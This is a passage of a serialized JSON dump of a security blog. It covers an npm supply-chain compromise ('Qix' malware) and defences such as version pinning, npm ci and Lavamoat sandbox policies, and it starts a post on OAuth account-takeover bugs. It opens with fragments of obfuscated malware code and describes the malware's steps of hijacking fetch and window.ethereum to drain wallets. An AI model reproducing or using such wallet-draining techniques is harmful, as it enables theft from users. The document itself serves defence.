ren":97925},{"class":316,"line":1497},[97926,97931,97935,97939,97943,97947],{"type":23,"tag":314,"props":97927,"children":97928},{"style":360},[97929],{"type":28,"value":97930}," _0x5ad975",{"type":23,"tag":314,"props":97932,"children":97933},{"style":354},[97934],{"type":28,"value":1237},{"type":23,"tag":314,"props":97936,"children":97937},{"style":360},[97938],{"type":28,"value":97865},{"type":23,"tag":314,"props":97940,"children":97941},{"style":338},[97942],{"type":28,"value":282},{"type":23,"tag":314,"props":97944,"children":97945},{"style":360},[97946],{"type":28,"value":97918},{"type":23,"tag":314,"props":97948,"children":97949},{"style":338},[97950],{"type":28,"value":2278},{"type":23,"tag":314,"props":97952,"children":97953},{"class":316,"line":1539},[97954],{"type":23,"tag":314,"props":97955,"children":97956},{"style":338},[97957],{"type":28,"value":11912},{"type":23,"tag":314,"props":97959,"children":97960},{"class":316,"line":1548},[97961,97965,97970,97974,97978,97982,97986,97990,97994],{"type":23,"tag":314,"props":97962,"children":97963},{"style":321},[97964],{"type":28,"value":30795},{"type":23,"tag":314,"props":97966,"children":97967},{"style":360},[97968],{"type":28,"value":97969}," _0x5dbe63",{"type":23,"tag":314,"props":97971,"children":97972},{"style":354},[97973],{"type":28,"value":1237},{"type":23,"tag":314,"props":97975,"children":97976},{"style":332},[97977],{"type":28,"value":97594},{"type":23,"tag":314,"props":97979,"children":97980},{"style":338},[97981],{"type":28,"value":341},{"type":23,"tag":314,"props":97983,"children":97984},{"style":360},[97985],{"type":28,"value":97909},{"type":23,"tag":314,"props":97987,"children":97988},{"style":338},[97989],{"type":28,"value":778},{"type":23,"tag":314,"props":97991,"children":97992},{"style":321},[97993],{"type":28,"value":1532},{"type":23,"tag":314,"props":97995,"children":97996},{"style":338},[97997],{"type":28,"value":1025},{"type":23,"tag":314,"props":97999,"children":98000},{"class":316,"line":1584},[98001,98005,98009,98013,98017,98021,98025,98029,98033,98037],{"type":23,"tag":314,"props":98002,"children":98003},{"style":2284},[98004],{"type":28,"value":38534},{"type":23,"tag":314,"props":98006,"children":98007},{"style":338},[98008],{"type":28,"value":2324},{"type":23,"tag":314,"props":98010,"children":98011},{"style":360},[98012],{"type":28,"value":97499},{"type":23,"tag":314,"props":98014,"children":98015},{"style":338},[98016],{"type":28,"value":282},{"type":23,"tag":314,"props":98018,"children":98019},{"style":360},[98020],{"type":28,"value":97534},{"type":23,"tag":314,"props":98022,"children":98023},{"style":338},[98024],{"type":28,"value":1312},{"type":23,"tag":314,"props":98026,"children":98027},{"style":1054},[98028],{"type":28,"value":1600},{"type":23,"tag":314,"props":98030,"children":98031},{"style":338},[98032],{"type":28,"value":49599},{"type":23,"tag":314,"props":98034,"children":98035},{"style":360},[98036],{"type":28,"value":97918},{"type":23,"tag":314,"props":98038,"children":98039},{"style":338},[98040],{"type":28,"value":367},{"type":23,"tag":314,"props":98042,"children":98043},{"class":316,"line":1617},[98044,98049,98053,98057,98061,98065,98069,98073,98077,98081],{"type":23,"tag":314,"props":98045,"children":98046},{"style":360},[98047],{"type":28,"value":98048}," _0x2c3d7e",{"type":23,"tag":314,"props":98050,"children":98051},{"style":338},[98052],{"type":28,"value":282},{"type":23,"tag":314,"props":98054,"children":98055},{"style":360},[98056],{"type":28,"value":97534},{"type":23,"tag":314,"props":98058,"children":98059},{"style":338},[98060],{"type":28,"value":1312},{"type":23,"tag":314,"props":98062,"children":98063},{"style":1054},[98064],{"type":28,"value":1600},{"type":23,"tag":314,"props":98066,"children":98067},{"style":338},[98068],{"type":28,"value":49599},{"type":23,"tag":314,"props":98070,"children":98071},{"style":360},[98072],{"type":28,"value":97918},{"type":23,"tag":314,"props":98074,"children":98075},{"style":354},[98076],{"type":28,"value":1237},{"type":23,"tag":314,"props":98078,"children":98079},{"style":360},[98080],{"type":28,"value":97969},{"type":23,"tag":314,"props":98082,"children":98083},{"style":338},[98084],{"type":28,"value":2278},{"type":23,"tag":314,"props":98086,"children":98087},{"class":316,"line":1625},[98088,98092,98096],{"type":23,"tag":314,"props":98089,"children":98090},{"style":338},[98091],{"type":28,"value":38187},{"type":23,"tag":314,"props":98093,"children":98094},{"style":2284},[98095],{"type":28,"value":2570},{"type":23,"tag":314,"props":98097,"children":98098},{"style":338},[98099],{"type":28,"value":1449},{"type":23,"tag":314,"props":98101,"children":98102},{"class":316,"line":1660},[98103,98107,98111,98115,98119,98123,98127,98131,98135],{"type":23,"tag":314,"props":98104,"children":98105},{"style":360},[98106],{"type":28,"value":98048},{"type":23,"tag":314,"props":98108,"children":98109},{"style":338},[98110],{"type":28,"value":282},{"type":23,"tag":314,"props":98112,"children":98113},{"style":360},[98114],{"type":28,"value":97534},{"type":23,"tag":314,"props":98116,"children":98117},{"style":338},[98118],{"type":28,"value":1312},{"type":23,"tag":314,"props":98120,"children":98121},{"style":1054},[98122],{"type":28,"value":1600},{"type":23,"tag":314,"props":98124,"children":98125},{"style":338},[98126],{"type":28,"value":1322},{"type":23,"tag":314,"props":98128,"children":98129},{"style":354},[98130],{"type":28,"value":1102},{"type":23,"tag":314,"props":98132,"children":98133},{"style":360},[98134],{"type":28,"value":97969},{"type":23,"tag":314,"props":98136,"children":98137},{"style":338},[98138],{"type":28,"value":2278},{"type":23,"tag":314,"props":98140,"children":98141},{"class":316,"line":1708},[98142],{"type":23,"tag":314,"props":98143,"children":98144},{"style":338},[98145],{"type":28,"value":11912},{"type":23,"tag":314,"props":98147,"children":98148},{"class":316,"line":1743},[98149,98153,98157,98161,98166],{"type":23,"tag":314,"props":98150,"children":98151},{"style":338},[98152],{"type":28,"value":15020},{"type":23,"tag":314,"props":98154,"children":98155},{"style":2284},[98156],{"type":28,"value":47661},{"type":23,"tag":314,"props":98158,"children":98159},{"style":338},[98160],{"type":28,"value":2324},{"type":23,"tag":314,"props":98162,"children":98163},{"style":360},[98164],{"type":28,"value":98165},"_0x4b99fd",{"type":23,"tag":314,"props":98167,"children":98168},{"style":338},[98169],{"type":28,"value":97695},{"type":23,"tag":314,"props":98171,"children":98172},{"class":316,"line":1751},[98173],{"type":23,"tag":314,"props":98174,"children":98175},{"style":338},[98176],{"type":28,"value":5126},{"type":23,"tag":314,"props":98178,"children":98179},{"class":316,"line":1791},[98180],{"type":23,"tag":314,"props":98181,"children":98182},{"style":338},[98183],{"type":28,"value":386},{"type":23,"tag":837,"props":98185,"children":98187},{"id":98186},"impact-of-the-attack",[98188],{"type":28,"value":98189},"Impact of the Attack",{"type":23,"tag":24,"props":98191,"children":98192},{},[98193],{"type":28,"value":98194},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":61,"props":98196,"children":98198},{"id":98197},"why-it-will-happen-again",[98199],{"type":28,"value":98200},"Why It Will Happen Again",{"type":23,"tag":24,"props":98202,"children":98203},{},[98204],{"type":28,"value":98205},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":24,"props":98207,"children":98208},{},[98209],{"type":28,"value":98210},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":61,"props":98212,"children":98214},{"id":98213},"what-developers-can-do",[98215],{"type":28,"value":98216},"What Developers Can Do",{"type":23,"tag":24,"props":98218,"children":98219},{},[98220],{"type":28,"value":98221},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":837,"props":98223,"children":98225},{"id":98224},"_1-version-pinning-in-packagejson",[98226,98228],{"type":28,"value":98227},"1. Version pinning in ",{"type":23,"tag":94,"props":98229,"children":98231},{"className":98230},[],[98232],{"type":28,"value":98233},"package.json",{"type":23,"tag":24,"props":98235,"children":98236},{},[98237],{"type":28,"value":98238},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":24,"props":98240,"children":98241},{},[98242,98244,98250,98252,98257,98259,98264],{"type":28,"value":98243},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":94,"props":98245,"children":98247},{"className":98246},[],[98248],{"type":28,"value":98249},"npm install",{"type":28,"value":98251},". To pin it, just make sure to remove the caret ",{"type":23,"tag":94,"props":98253,"children":98255},{"className":98254},[],[98256],{"type":28,"value":48184},{"type":28,"value":98258}," symbol before the version in ",{"type":23,"tag":94,"props":98260,"children":98262},{"className":98261},[],[98263],{"type":28,"value":98233},{"type":28,"value":3746},{"type":23,"tag":304,"props":98266,"children":98268},{"code":98267,"language":33246,"meta":7,"className":33244,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[98269],{"type":23,"tag":94,"props":98270,"children":98271},{"__ignoreMap":7},[98272,98293,98314,98335],{"type":23,"tag":314,"props":98273,"children":98274},{"class":316,"line":317},[98275,98280,98284,98289],{"type":23,"tag":314,"props":98276,"children":98277},{"style":1245},[98278],{"type":28,"value":98279},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":314,"props":98281,"children":98282},{"style":338},[98283],{"type":28,"value":14573},{"type":23,"tag":314,"props":98285,"children":98286},{"style":1245},[98287],{"type":28,"value":98288},"\"1.23.1\"",{"type":23,"tag":314,"props":98290,"children":98291},{"style":338},[98292],{"type":28,"value":1870},{"type":23,"tag":314,"props":98294,"children":98295},{"class":316,"line":370},[98296,98301,98305,98310],{"type":23,"tag":314,"props":98297,"children":98298},{"style":1245},[98299],{"type":28,"value":98300},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":314,"props":98302,"children":98303},{"style":338},[98304],{"type":28,"value":14573},{"type":23,"tag":314,"props":98306,"children":98307},{"style":1245},[98308],{"type":28,"value":98309},"\"8.3.0\"",{"type":23,"tag":314,"props":98311,"children":98312},{"style":338},[98313],{"type":28,"value":1870},{"type":23,"tag":314,"props":98315,"children":98316},{"class":316,"line":380},[98317,98322,98326,98331],{"type":23,"tag":314,"props":98318,"children":98319},{"style":1245},[98320],{"type":28,"value":98321},"\"@react-native-community/netinfo\"",{"type":23,"tag":314,"props":98323,"children":98324},{"style":338},[98325],{"type":28,"value":14573},{"type":23,"tag":314,"props":98327,"children":98328},{"style":1245},[98329],{"type":28,"value":98330},"\"11.4.1\"",{"type":23,"tag":314,"props":98332,"children":98333},{"style":338},[98334],{"type":28,"value":1870},{"type":23,"tag":314,"props":98336,"children":98337},{"class":316,"line":1091},[98338,98343,98347],{"type":23,"tag":314,"props":98339,"children":98340},{"style":1245},[98341],{"type":28,"value":98342},"\"@react-native-picker/picker\"",{"type":23,"tag":314,"props":98344,"children":98345},{"style":338},[98346],{"type":28,"value":14573},{"type":23,"tag":314,"props":98348,"children":98349},{"style":1245},[98350],{"type":28,"value":98351},"\"2.11.0\"\n",{"type":23,"tag":837,"props":98353,"children":98355},{"id":98354},"_2-use-npm-ci",[98356,98358],{"type":28,"value":98357},"2. Use ",{"type":23,"tag":94,"props":98359,"children":98361},{"className":98360},[],[98362],{"type":28,"value":98363},"npm ci",{"type":23,"tag":24,"props":98365,"children":98366},{},[98367,98372,98374,98380,98382,98387],{"type":23,"tag":94,"props":98368,"children":98370},{"className":98369},[],[98371],{"type":28,"value":98363},{"type":28,"value":98373}," uses the dependency versions from ",{"type":23,"tag":94,"props":98375,"children":98377},{"className":98376},[],[98378],{"type":28,"value":98379},"package-lock.json",{"type":28,"value":98381}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":94,"props":98383,"children":98385},{"className":98384},[],[98386],{"type":28,"value":98249},{"type":28,"value":98388}," when adding a new package or updating an existing one.",{"type":23,"tag":837,"props":98390,"children":98392},{"id":98391},"_3-implement-lavamoat",[98393,98395],{"type":28,"value":98394},"3. Implement ",{"type":23,"tag":31,"props":98396,"children":98399},{"href":98397,"rel":98398},"https://github.com/LavaMoat/LavaMoat/tree/main",[35],[98400],{"type":23,"tag":721,"props":98401,"children":98402},{},[98403],{"type":28,"value":98404},"Lavamoat",{"type":23,"tag":24,"props":98406,"children":98407},{},[98408],{"type":28,"value":98409},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":24,"props":98411,"children":98412},{},[98413],{"type":28,"value":98414},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":304,"props":98416,"children":98418},{"code":98417,"language":33246,"meta":7,"className":33244,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[98419],{"type":23,"tag":94,"props":98420,"children":98421},{"__ignoreMap":7},[98422,98434,98446,98457,98473,98480,98487,98499,98510,98530,98546,98553,98564,98584,98600,98607,98614],{"type":23,"tag":314,"props":98423,"children":98424},{"class":316,"line":317},[98425,98430],{"type":23,"tag":314,"props":98426,"children":98427},{"style":1245},[98428],{"type":28,"value":98429},"\"resources\"",{"type":23,"tag":314,"props":98431,"children":98432},{"style":338},[98433],{"type":28,"value":36271},{"type":23,"tag":314,"props":98435,"children":98436},{"class":316,"line":370},[98437,98442],{"type":23,"tag":314,"props":98438,"children":98439},{"style":360},[98440],{"type":28,"value":98441}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":314,"props":98443,"children":98444},{"style":338},[98445],{"type":28,"value":36271},{"type":23,"tag":314,"props":98447,"children":98448},{"class":316,"line":380},[98449,98453],{"type":23,"tag":314,"props":98450,"children":98451},{"style":360},[98452],{"type":28,"value":36279},{"type":23,"tag":314,"props":98454,"children":98455},{"style":338},[98456],{"type":28,"value":36271},{"type":23,"tag":314,"props":98458,"children":98459},{"class":316,"line":1091},[98460,98465,98469],{"type":23,"tag":314,"props":98461,"children":98462},{"style":360},[98463],{"type":28,"value":98464}," \"TextEncoder\"",{"type":23,"tag":314,"props":98466,"children":98467},{"style":338},[98468],{"type":28,"value":14573},{"type":23,"tag":314,"props":98470,"children":98471},{"style":321},[98472],{"type":28,"value":36440},{"type":23,"tag":314,"props":98474,"children":98475},{"class":316,"line":1141},[98476],{"type":23,"tag":314,"props":98477,"children":98478},{"style":338},[98479],{"type":28,"value":11912},{"type":23,"tag":314,"props":98481,"children":98482},{"class":316,"line":1173},[98483],{"type":23,"tag":314,"props":98484,"children":98485},{"style":338},[98486],{"type":28,"value":24627},{"type":23,"tag":314,"props":98488,"children":98489},{"class":316,"line":1208},[98490,98495],{"type":23,"tag":314,"props":98491,"children":98492},{"style":360},[98493],{"type":28,"value":98494}," \"@ethereumjs/util\"",{"type":23,"tag":314,"props":98496,"children":98497},{"style":338},[98498],{"type":28,"value":36271},{"type":23,"tag":314,"props":98500,"children":98501},{"class":316,"line":1216},[98502,98506],{"type":23,"tag":314,"props":98503,"children":98504},{"style":360},[98505],{"type":28,"value":36279},{"type":23,"tag":314,"props":98507,"children":98508},{"style":338},[98509],{"type":28,"value":36271},{"type":23,"tag":314,"props":98511,"children":98512},{"class":316,"line":1301},[98513,98518,98522,98526],{"type":23,"tag":314,"props":98514,"children":98515},{"style":360},[98516],{"type":28,"value":98517}," \"console.warn\"",{"type":23,"tag":314,"props":98519,"children":98520},{"style":338},[98521],{"type":28,"value":14573},{"type":23,"tag":314,"props":98523,"children":98524},{"style":321},[98525],{"type":28,"value":1481},{"type":23,"tag":314,"props":98527,"children":98528},{"style":338},[98529],{"type":28,"value":1870},{"type":23,"tag":314,"props":98531,"children":98532},{"class":316,"line":1343},[98533,98538,98542],{"type":23,"tag":314,"props":98534,"children":98535},{"style":360},[98536],{"type":28,"value":98537}," \"fetch\"",{"type":23,"tag":314,"props":98539,"children":98540},{"style":338},[98541],{"type":28,"value":14573},{"type":23,"tag":314,"props":98543,"children":98544},{"style":321},[98545],{"type":28,"value":36440},{"type":23,"tag":314,"props":98547,"children":98548},{"class":316,"line":1351},[98549],{"type":23,"tag":314,"props":98550,"children":98551},{"style":338},[98552],{"type":28,"value":36448},{"type":23,"tag":314,"props":98554,"children":98555},{"class":316,"line":1387},[98556,98560],{"type":23,"tag":314,"props":98557,"children":98558},{"style":360},[98559],{"type":28,"value":36456},{"type":23,"tag":314,"props":98561,"children":98562},{"style":338},[98563],{"type":28,"value":36271},{"type":23,"tag":314,"props":98565,"children":98566},{"class":316,"line":1422},[98567,98572,98576,98580],{"type":23,"tag":314,"props":98568,"children":98569},{"style":360},[98570],{"type":28,"value":98571}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":314,"props":98573,"children":98574},{"style":338},[98575],{"type":28,"value":14573},{"type":23,"tag":314,"props":98577,"children":98578},{"style":321},[98579],{"type":28,"value":1481},{"type":23,"tag":314,"props":98581,"children":98582},{"style":338},[98583],{"type":28,"value":1870},{"type":23,"tag":314,"props":98585,"children":98586},{"class":316,"line":1430},[98587,98592,98596],{"type":23,"tag":314,"props":98588,"children":98589},{"style":360},[98590],{"type":28,"value":98591}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":314,"props":98593,"children":98594},{"style":338},[98595],{"type":28,"value":14573},{"type":23,"tag":314,"props":98597,"children":98598},{"style":321},[98599],{"type":28,"value":36440},{"type":23,"tag":314,"props":98601,"children":98602},{"class":316,"line":1452},[98603],{"type":23,"tag":314,"props":98604,"children":98605},{"style":338},[98606],{"type":28,"value":11912},{"type":23,"tag":314,"props":98608,"children":98609},{"class":316,"line":1497},[98610],{"type":23,"tag":314,"props":98611,"children":98612},{"style":338},[98613],{"type":28,"value":2610},{"type":23,"tag":314,"props":98615,"children":98616},{"class":316,"line":1539},[98617],{"type":23,"tag":314,"props":98618,"children":98619},{"style":338},[98620],{"type":28,"value":386},{"type":23,"tag":24,"props":98622,"children":98623},{},[98624,98626,98632,98634,98640,98641,98646,98648,98654,98655,98661],{"type":28,"value":98625},"In this example, it restricts the ",{"type":23,"tag":94,"props":98627,"children":98629},{"className":98628},[],[98630],{"type":28,"value":98631},"@ethereumjs/util",{"type":28,"value":98633}," package to use only ",{"type":23,"tag":94,"props":98635,"children":98637},{"className":98636},[],[98638],{"type":28,"value":98639},"console.warn",{"type":28,"value":557},{"type":23,"tag":94,"props":98642,"children":98644},{"className":98643},[],[98645],{"type":28,"value":33343},{"type":28,"value":98647}," functions, and to include only ",{"type":23,"tag":94,"props":98649,"children":98651},{"className":98650},[],[98652],{"type":28,"value":98653},"@ethereumjs/rlp",{"type":28,"value":557},{"type":23,"tag":94,"props":98656,"children":98658},{"className":98657},[],[98659],{"type":28,"value":98660},"ethereum-cryptography",{"type":28,"value":98662}," packages.",{"type":23,"tag":24,"props":98664,"children":98665},{},[98666],{"type":28,"value":98667},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":24,"props":98669,"children":98670},{},[98671,98673,98679],{"type":28,"value":98672},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":31,"props":98674,"children":98677},{"href":98675,"rel":98676},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[35],[98678],{"type":28,"value":36626},{"type":28,"value":282},{"type":23,"tag":837,"props":98681,"children":98683},{"id":98682},"lavamoat-vs-qix-malware",[98684],{"type":28,"value":98685},"Lavamoat vs Qix Malware",{"type":23,"tag":24,"props":98687,"children":98688},{},[98689,98691,98696],{"type":28,"value":98690},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":94,"props":98692,"children":98694},{"className":98693},[],[98695],{"type":28,"value":96536},{"type":28,"value":98697},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":84,"props":98699,"children":98700},{},[98701,98713,98724,98735],{"type":23,"tag":88,"props":98702,"children":98703},{},[98704,98706,98711],{"type":28,"value":98705},"Replace ",{"type":23,"tag":94,"props":98707,"children":98709},{"className":98708},[],[98710],{"type":28,"value":33343},{"type":28,"value":98712}," function to a custom one",{"type":23,"tag":88,"props":98714,"children":98715},{},[98716,98718],{"type":28,"value":98717},"Access ",{"type":23,"tag":94,"props":98719,"children":98721},{"className":98720},[],[98722],{"type":28,"value":98723},"window.ethereum",{"type":23,"tag":88,"props":98725,"children":98726},{},[98727,98729,98734],{"type":28,"value":98728},"Call original ",{"type":23,"tag":94,"props":98730,"children":98732},{"className":98731},[],[98733],{"type":28,"value":33343},{"type":28,"value":37463},{"type":23,"tag":88,"props":98736,"children":98737},{},[98738],{"type":28,"value":98739},"Plus other actions not relevant here",{"type":23,"tag":24,"props":98741,"children":98742},{},[98743,98745,98751],{"type":28,"value":98744},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":94,"props":98746,"children":98748},{"className":98747},[],[98749],{"type":28,"value":98750},"chalk 5.6.0",{"type":28,"value":98752}," (non-malicious version) it would look like this:",{"type":23,"tag":304,"props":98754,"children":98756},{"code":98755,"language":33246,"meta":7,"className":33244,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[98757],{"type":23,"tag":94,"props":98758,"children":98759},{"__ignoreMap":7},[98760,98772,98783,98803,98819,98826],{"type":23,"tag":314,"props":98761,"children":98762},{"class":316,"line":317},[98763,98768],{"type":23,"tag":314,"props":98764,"children":98765},{"style":1245},[98766],{"type":28,"value":98767},"\"chalk\"",{"type":23,"tag":314,"props":98769,"children":98770},{"style":338},[98771],{"type":28,"value":36271},{"type":23,"tag":314,"props":98773,"children":98774},{"class":316,"line":370},[98775,98779],{"type":23,"tag":314,"props":98776,"children":98777},{"style":360},[98778],{"type":28,"value":36279},{"type":23,"tag":314,"props":98780,"children":98781},{"style":338},[98782],{"type":28,"value":36271},{"type":23,"tag":314,"props":98784,"children":98785},{"class":316,"line":380},[98786,98791,98795,98799],{"type":23,"tag":314,"props":98787,"children":98788},{"style":360},[98789],{"type":28,"value":98790}," \"navigator.userAgent\"",{"type":23,"tag":314,"props":98792,"children":98793},{"style":338},[98794],{"type":28,"value":14573},{"type":23,"tag":314,"props":98796,"children":98797},{"style":321},[98798],{"type":28,"value":1481},{"type":23,"tag":314,"props":98800,"children":98801},{"style":338},[98802],{"type":28,"value":1870},{"type":23,"tag":314,"props":98804,"children":98805},{"class":316,"line":1091},[98806,98811,98815],{"type":23,"tag":314,"props":98807,"children":98808},{"style":360},[98809],{"type":28,"value":98810}," \"navigator.userAgentData\"",{"type":23,"tag":314,"props":98812,"children":98813},{"style":338},[98814],{"type":28,"value":14573},{"type":23,"tag":314,"props":98816,"children":98817},{"style":321},[98818],{"type":28,"value":36440},{"type":23,"tag":314,"props":98820,"children":98821},{"class":316,"line":1141},[98822],{"type":23,"tag":314,"props":98823,"children":98824},{"style":338},[98825],{"type":28,"value":11912},{"type":23,"tag":314,"props":98827,"children":98828},{"class":316,"line":1173},[98829],{"type":23,"tag":314,"props":98830,"children":98831},{"style":338},[98832],{"type":28,"value":24627},{"type":23,"tag":24,"props":98834,"children":98835},{},[98836,98838,98844],{"type":28,"value":98837},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":94,"props":98839,"children":98841},{"className":98840},[],[98842],{"type":28,"value":98843},"navigator",{"type":28,"value":282},{"type":23,"tag":24,"props":98846,"children":98847},{},[98848,98850,98856],{"type":28,"value":98849},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":94,"props":98851,"children":98853},{"className":98852},[],[98854],{"type":28,"value":98855},"chalk v5.6.1",{"type":28,"value":98857}," it would fail due to insufficient permissions:",{"type":23,"tag":24,"props":98859,"children":98860},{},[98861],{"type":23,"tag":197,"props":98862,"children":98864},{"alt":49829,"src":98863},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":24,"props":98866,"children":98867},{},[98868,98870,98875],{"type":28,"value":98869},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":94,"props":98871,"children":98873},{"className":98872},[],[98874],{"type":28,"value":33343},{"type":28,"value":24714},{"type":23,"tag":304,"props":98877,"children":98879},{"code":98878},"TypeError#1: Cannot define property fetch, object is not extensible\n",[98880],{"type":23,"tag":94,"props":98881,"children":98882},{"__ignoreMap":7},[98883],{"type":28,"value":98878},{"type":23,"tag":61,"props":98885,"children":98887},{"id":98886},"lavamoat-in-practice",[98888],{"type":28,"value":98889},"Lavamoat In Practice",{"type":23,"tag":24,"props":98891,"children":98892},{},[98893,98895,98902],{"type":28,"value":98894},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":31,"props":98896,"children":98899},{"href":98897,"rel":98898},"https://osec.io/reports/lavamoat_audit_final.pdf",[35],[98900],{"type":28,"value":98901},"see the audit report",{"type":28,"value":419},{"type":23,"tag":24,"props":98904,"children":98905},{},[98906],{"type":28,"value":98907},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":61,"props":98909,"children":98910},{"id":75050},[98911],{"type":28,"value":75053},{"type":23,"tag":24,"props":98913,"children":98914},{},[98915],{"type":28,"value":98916},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":24,"props":98918,"children":98919},{},[98920,98922,98927],{"type":28,"value":98921},"Version pinning and ",{"type":23,"tag":94,"props":98923,"children":98925},{"className":98924},[],[98926],{"type":28,"value":98363},{"type":28,"value":98928}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":2096,"props":98930,"children":98931},{},[98932],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":98934},[98935,98938,98939,98948,98949],{"id":96551,"depth":370,"text":96554,"children":98936},[98937],{"id":98186,"depth":380,"text":98189},{"id":98197,"depth":370,"text":98200},{"id":98213,"depth":370,"text":98216,"children":98940},[98941,98943,98945,98947],{"id":98224,"depth":380,"text":98942},"1. Version pinning in package.json",{"id":98354,"depth":380,"text":98944},"2. Use npm ci",{"id":98391,"depth":380,"text":98946},"3. Implement Lavamoat",{"id":98682,"depth":380,"text":98685},{"id":98886,"depth":370,"text":98889},{"id":75050,"depth":370,"text":75053},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":98954,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":98955,"description":98956,"date":98957,"author":98958,"image":98959,"isFeatured":18,"onBlogPage":18,"tags":98961,"body":98964,"_type":2117,"_id":101295,"_source":2119,"_file":101296,"_stem":101297,"_extension":2122},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[30451,30450],{"src":98960,"width":96520,"height":12871},"/posts/oauth-misconfigurations/title.png",[98962,98963],"oAuth","exchanges",{"type":20,"children":98965,"toc":101282},[98966,98972,98977,98983,99003,99009,99014,99027,99032,99040,99054,99063,99072,99086,99094,99105,99165,99171,99183,99232,99238,99243,99256,99263,99274,99294,99313,99334,99340,99353,99358,99364,99383,100008,100013,100026,100887,100892,100897,100903,100908,100914,100919,100932,100972,100978,100991,100996,101029,101034,101039,101064,101069,101081,101238,101243,101247,101259,101264,101268,101273,101278],{"type":23,"tag":61,"props":98967,"children":98969},{"id":98968},"exploiting-oauth",[98970],{"type":28,"value":98971},"Exploiting OAuth",{"type":23,"tag":24,"props":98973,"children":98974},{},[98975],{"type":28,"value":98976},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":837,"props":98978,"children":98980},{"id":98979},"google-authentication-flows",[98981],{"type":28,"value":98982},"Google Authentication Flows",{"type":23,"tag":24,"props":98984,"children":98985},{},[98986,98988,98994,98996,99001],{"type":28,"value":98987},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":94,"props":98989,"children":98991},{"className":98990},[],[98992],{"type":28,"value":98993},"postMessage",{"type":28,"value":98995}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":94,"props":98997,"children":98999},{"className":98998},[],[99000],{"type":28,"value":69018},{"type":28,"value":99002}," to send the token back to the 